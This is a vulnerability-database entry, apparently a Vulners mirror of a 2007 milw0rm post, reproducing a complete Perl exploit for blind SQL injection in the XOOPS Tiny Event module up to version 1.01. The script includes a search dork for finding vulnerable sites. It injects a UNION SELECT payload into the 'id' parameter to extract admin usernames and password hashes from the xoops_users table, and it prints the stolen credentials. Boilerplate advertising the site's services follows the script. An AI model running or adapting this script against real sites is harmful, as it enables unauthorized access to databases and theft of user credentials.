Lucene search
K

XOOPS Module Tiny Event <= 1.01 (id) Remote SQL Injection Exploit

🗓️ 01 Apr 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

XOOPS Module Tiny Event <= 1.01 (id) Remote SQL Injectio

Code

                                                #!/usr/bin/perl
#[Script Name: XOOPS Module Tiny Event &lt;= 1.01 (id) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[Dork       : inurl:/modules/tinyevent/
#[S.Page     : http://www.chapi.de/
#[$$         : ?? 
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV &lt; 1){
print &quot;
[========================================================================
[//  XOOPS Module Tiny Event &lt;= 1.01 (id) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&amp;Exp : ajann
[========================================================================
&quot;;
exit();
}
#Local variables
$kapan = &quot;/*&quot;;
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = &quot;http://&quot;.$server;
$port = &quot;80&quot;;
$file = &quot;/modules/tinyevent/index.php?op=show&amp;id=&quot;;

print &quot;Script &lt;DIR&gt; : &quot;;
$dir = &lt;STDIN&gt;;
chop ($dir);

if ($dir =~ /exit/){
print &quot;-- Exploit Failed[You Are Exited] \n&quot;;
exit();
}

if ($dir =~ /\//){}
else {
print &quot;-- Exploit Failed[No DIR] \n&quot;;
exit();
 }

print &quot;User ID (uid): &quot;;
$id = &lt;STDIN&gt;;
chop ($id);

$target = &quot;999999%20union%20select%201,2,3,4,concat(char(117,115,101,114,110,97,109,101,45,45),uname,char(112,97,115,115,119,111,114,100,45,45),pass)%20from%20xoops_users%20where%20uid%20like%20&quot;.$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print &quot;+**********************************************************************+\n&quot;;
print &quot;+ Trying to connect: $server\n&quot;;
$socket = IO::Socket::INET-&gt;new(Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; &quot;$server&quot;, PeerPort =&gt; &quot;$port&quot;) || die &quot;\n+ Connection failed...\n&quot;;
print $socket &quot;GET $target HTTP/1.1\n&quot;;
print $socket &quot;Host: $server\n&quot;;
print $socket &quot;Accept: */*\n&quot;;
print $socket &quot;Connection: close\n\n&quot;;
print &quot;+ Connected!...\n&quot;;
#Getting
while($answer = &lt;$socket&gt;) {
if ($answer =~ /username--(.*?)pass/){
print &quot;+ Exploit succeed! Getting admin information.\n&quot;;
print &quot;+ ---------------- +\n&quot;;
print &quot;+ Username: $1\n&quot;;
}

if ($answer =~ /password--(.*?)&lt;\/td&gt;/){
print &quot;+ Password: $1\n&quot;;
}

if ($answer =~ /Syntax error/) { 
print &quot;+ Exploit Failed : ( \n&quot;;
print &quot;+**********************************************************************+\n&quot;;
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print &quot;+ Exploit Failed : (  \n&quot;;
print &quot;+**********************************************************************+\n&quot;;
exit(); 
}
 }

# milw0rm.com [2007-04-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1
25